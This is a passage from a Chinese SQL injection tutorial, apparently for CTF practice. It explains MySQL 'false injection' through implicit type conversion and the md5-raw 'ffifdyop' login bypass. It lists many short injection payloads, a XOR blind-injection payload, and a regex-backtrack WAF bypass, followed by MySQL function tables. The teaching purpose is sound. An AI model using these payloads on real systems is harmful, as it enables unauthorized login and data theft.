,而PHP脚本真正识别的是 id=select database()--+
[例题]Sql-Labs Less-29
False 注入绕过
False 注入原理
前面我们学过的注入都是基于1=1这样比较的普通注入,下面来说一说 False 注入,利用 False 我们可以绕过一些特定的 WAF 以及一些未来不确定的因素。
首先我们来看一看下面这个sql查询语句:
1 | select * from user where uesrname = 0; |
返回了表中全部数据
1 | select * from user where password = 0; |
返回的数据少了两行
同一张表,查询返回结果不同,这是为什么呢?不得不谈谈MYSQL 的隐式类型转换规则:
MYSQL 的隐式类型转换,即当字符串和数字比较时,会把字符串转为浮点数,而字符串转换为浮点数很明显会转换失败,这时就会产生一个warning,转换的结果为0,然后0 = 0
返回的是 True
,这样就将表中的数据全部返回了。但如果字符串开头是数字话还是会从数字部分截断,转换为数字进行比较,在第二个例子中,password 字段中有两个值是以数字1开头的并非为0,再进行 passwd = 0
比较时,会从1开始截断,1 = 0
不成立,当然就不返回这两条数据了。这就是 MYSQL False 注入的原理。
False 注入利用
下面我们讲讲 False 注入如何利用,及如何构造 False 注入的利用点。在实际中我们接触到的语句都是带有引号的,如下:
1 | select * from user where username ='.$username.'; |
在这种情况下,我们如何绕过引号构造出 0 这个值呢,我们需要做一些处理来构造false注入的利用点?
可以使用的姿势有很多,比如下面的算数运算:
加:+
1 | 插入'+', 拼接的语句: select * from user where username =''+''; |
减:-
1 | 插入'-', 拼接的语句: select * from user where username =''-''; |
乘:*
1 | 插入'*', 拼接的语句: select * from user where username =''*''; |
除:/
1 | 插入'/6#, 拼接的语句: select * from user where username =''/6#'; |
取余:%
1 | 插入'%1#, 拼接的语句: select * from user where username =''%1#'; |
我们还可以使用当字符串和数字运算的时候类型转换的问题进行利用。
和运算:&
1 | 插入'&0#, 拼接的语句: select * from user where username =''&0#'; |
或运算:|
1 | 插入'|0#, 拼接的语句: select * from user where username =''|0#'; |
异或运算:^
1 | 插入'^0#, 拼接的语句: select * from user where username =''^0#'; |
移位操作:
1 | 插入'<<0# 或 '>>0#, 拼接的语句: |
安全等于:<=>
1 | '=0<=>1# 拼接的语句:where username=''=0<=>1#' |
不等于<>(!=)
1 | '=0<>0# 拼接的语句:where username=''=0<>0#' |
大小于>或<
1 | '>-1# 拼接的语句:where username=''>-1# |
- 其他
1 | '+1 is not null# 'in(-1,1)# 'not in(1,0)# 'like 1# 'REGEXP 1# 'BETWEEN 1 AND 1# 'div 1# 'xor 1# '=round(0,1)='1 '<>ifnull(1,2)='1 |
综合利用
false注入这种注入方式有的优势就是,在某些特定时候可以绕过WAF或者是一些其他的绕过。
这里举例一道题
1 | <?php |
我们注意到filter()
函数
1 | $filter = "/ |*|#|;|,|is|union|like|regexp|for|and|or|file|--|||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i"; |
这里看起来过滤的比较多,其中and,or还有&,|都被过滤了,这个时候就可以利用false进行盲注。
可以在show函数利用查询的时候注入,
1 | username = "admin'^!(mid((passwd)from(-{pos}))='{passwd}')='1" |
这里官方给出的就是利用异或,其实这里并不需要 admin 只要是一串字符串就可以
异或会使字符串都转为浮点型,都变为了0,由于0=0^0 -> 1^0 -> 1
当然对于这个题并不一定利用这个,直接截取字符串作比较就可以,但是这里只是提供一种姿势,由于mysql的灵活,其花样也比较多还有就是构造的payload比较简短,例如’+
‘、’^
‘、’/4#
‘ 这样只有三个字符便可以绕过登录,简单粗暴,还有就是类似的文章不多,许多开发人员容易忽视这些细节。
盲注脚本
1 | import requests |
handler语句代替select查询
1 | mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。 |
语法结构:
1 | HANDLER tbl_name OPEN [ [AS] alias] |
如:通过handler语句查询users表的内容
1 | handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名 |
‘“.md5($pass,true).”‘ 登录绕过
很多站点为了安全都会利用这样的语句:
1 | SELECT * FROM users WHERE password = '.md5($password,true).'; |
md5(string,true)
函数在指定了true的时候,是返回的原始 16 字符二进制格式,也就是说会返回这样子的字符串:'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
:
这不是普通的二进制字符串,而是 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
这种,这样的话就会和前面的形成闭合,构成万能密码。
1 | SELECT * FROM users WHERE password = ''or'6.......' |
这就是永真的了,这就是一个万能密码了相当于 1' or 1=1#
或 1' or 1#
。
1 | 但是我们思考一下为什么 6\xc9]\x99\xe9!r,\xf9\xedb\x1c 的布尔值是true呢? |
接下来就是找到这样子的字符串,这里给出两个吧。
ffifdyop:
1 | content: ffifdyop |
129581926211651571912466741651878684928:
1 | content: 129581926211651571912466741651878684928 |
PHP/union.+?select/ig
绕过。
在某些题目中,题目禁止union与select同时出现时,会用此正则来判断输入数据。
- 利用点:PHP正则回溯BUG
- 具体分析文章:PHP利用PCRE回溯次数限制绕过某些安全限制
1 | PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限`pcre.backtrack_limit`。若我们输入的数据使得PHP进行回溯且此数超过了规定的回溯上限此数(默认为 100万),那么正则停止,返回未匹配到数据。 |
故而我们构造payload:union/*100万个a,充当垃圾数据*/select
即可绕过正则判断。
一道相关的CTF题:TetCTF-2020 WP BY MrR3boot
UPDATE注入重复字段赋值
即:UPDATA table_name set field1=new_value,field1=new_value2 [where]
,最终field1
字段的内容为new_value2
,可用这个特性来进行UPDATA注入。如:
1 | UPDATE table_name set field1=new_value,field1=(select user()) [where] |
LIMIT之后的字段数判断
我们都知道若注入点在where子语句之后,判断字段数可以用order by
或group by
来进行判断,而limit
后可以利用 into @,@
判断字段数,其中@为mysql临时变量。
1 | select * from users where username like 'a%' limit 1,1 into @; |
常见函数
系统信息函数
函数 | 说明 |
---|---|
USER() | 获取当前操作句柄的用户名,同SESSION_USER()、CURRENT_USER(),有时也用SYSTEM_USER()。 |
DATABASE() | 获取当前选择的数据库名,同SCHEMA()。 |
VERSION() | 获取当前版本信息。 |
进制转换
函数 | 说明 |
---|---|
ORD(str) | 返回字符串第一个字符的ASCII值。 |
OCT(N) | 以字符串形式返回 N 的八进制数,N 是一个BIGINT 型数值,作用相当于CONV(N,10,8) 。 |
HEX(N_S) | 参数为字符串时,返回 N_or_S 的16进制字符串形式,为数字时,返回其16进制数形式。 |
UNHEX(str) | HEX(str) 的逆向函数。将参数中的每一对16进制数字都转换为10进制数字,然后再转换成 ASCII 码所对应的字符。 |
BIN(N) | 返回十进制数值 N 的二进制数值的字符串表现形式。 |
ASCII(str) | 同ORD(string) 。 |
CONV(N,from_base,to_base) | 将数值型参数 N 由初始进制 from_base 转换为目标进制 to_base 的形式并返回。 |
CHAR(N,… [USING charset_name]) | 将每一个参数 N 都解释为整数,返回由这些整数在 ASCII 码中所对应字符所组成的字符串。 |
字符截取/拼接
函数 | 说明 |
---|---|
SUBSTR(str,N_start,N_length) | 对指定字符串进行截取,为SUBSTRING的简单版。 |
SUBSTRING() | 多种格式SUBSTRING(str,pos)、SUBSTRING(str FROM pos)、SUBSTRING(str,pos,len)、SUBSTRING(str FROM pos FOR len) 。 |
RIGHT(str,len) | 对指定字符串从最右边截取指定长度。 |
LEFT(str,len) | 对指定字符串从最左边截取指定长度。 |
RPAD(str,len,padstr) | 在 str 右方补齐 len 位的字符串 padstr ,返回新字符串。如果 str 长度大于 len ,则返回值的长度将缩减到 len 所指定的长度。 |
LPAD(str,len,padstr) | 与RPAD相似,在str 左边补齐。 |
MID(str,pos,len) | 同于 SUBSTRING(str,pos,len) 。 |
INSERT(str,pos,len,newstr) | 在原始字符串 str 中,将自左数第 pos 位开始,长度为 len 个字符的字符串替换为新字符串 newstr ,然后返回经过替换后的字符串。INSERT(str,len,1,0x0) 可当做截取函数。 |
CONCAT(str1,str2…) | 函数用于将多个字符串合并为一个字符串 |
GROUP_CONCAT(…) | 返回一个字符串结果,该结果由分组中的值连接组合而成。 |
MAKE_SET(bits,str1,str2,…) | 根据参数1,返回所输入其他的参数值。可用作布尔盲注,如:EXP(MAKE_SET((LENGTH(DATABASE())>8)+1,'1','710')) 。 |
常见全局变量
变量 | 说明 | 变量 | 说明 |
---|---|---|---|
@@VERSION | 返回版本信息 | @@HOSTNAME | 返回安装的计算机名称 |
@@GLOBAL.VERSION | 同@@VERSION |
@@BASEDIR | 返回MYSQL绝对路径 |
PS:查看全部全局变量SHOW GLOBAL VARIABLES;
。
其他常用函数/语句
函数/语句 | 说明 |
---|---|
LENGTH(str) | 返回字符串的长度。 |
PI() | 返回π的具体数值。 |
REGEXP “statement” | 正则匹配数据,返回值为布尔值。 |
LIKE “statement” | 匹配数据,%代表任意内容。返回值为布尔值。 |
RLIKE “statement” | 与regexp相同。 |
LOCATE(substr,str,[pos]) | 返回子字符串第一次出现的位置。 |
POSITION(substr IN str) | 等同于 LOCATE() 。 |
LOWER(str) | 将字符串的大写字母全部转成小写。同:LCASE(str) 。 |
UPPER(str) | 将字符串的小写字母全部转成大写。同:UCASE(str) 。 |
ELT(N,str1,str2,str3,…) | 与MAKE_SET(bit,str1,str2...) 类似,根据N 返回参数值。 |
NULLIF(expr1,expr2) | 若expr1与expr2相同,则返回expr1,否则返回NULL。 |
CHARSET(str) | 返回字符串使用的字符集。 |
DECODE(crypt_str,pass_str) | 使用 pass_str 作为密码,解密加密字符串 crypt_str。加密函数:ENCODE(str,pass_str) 。 |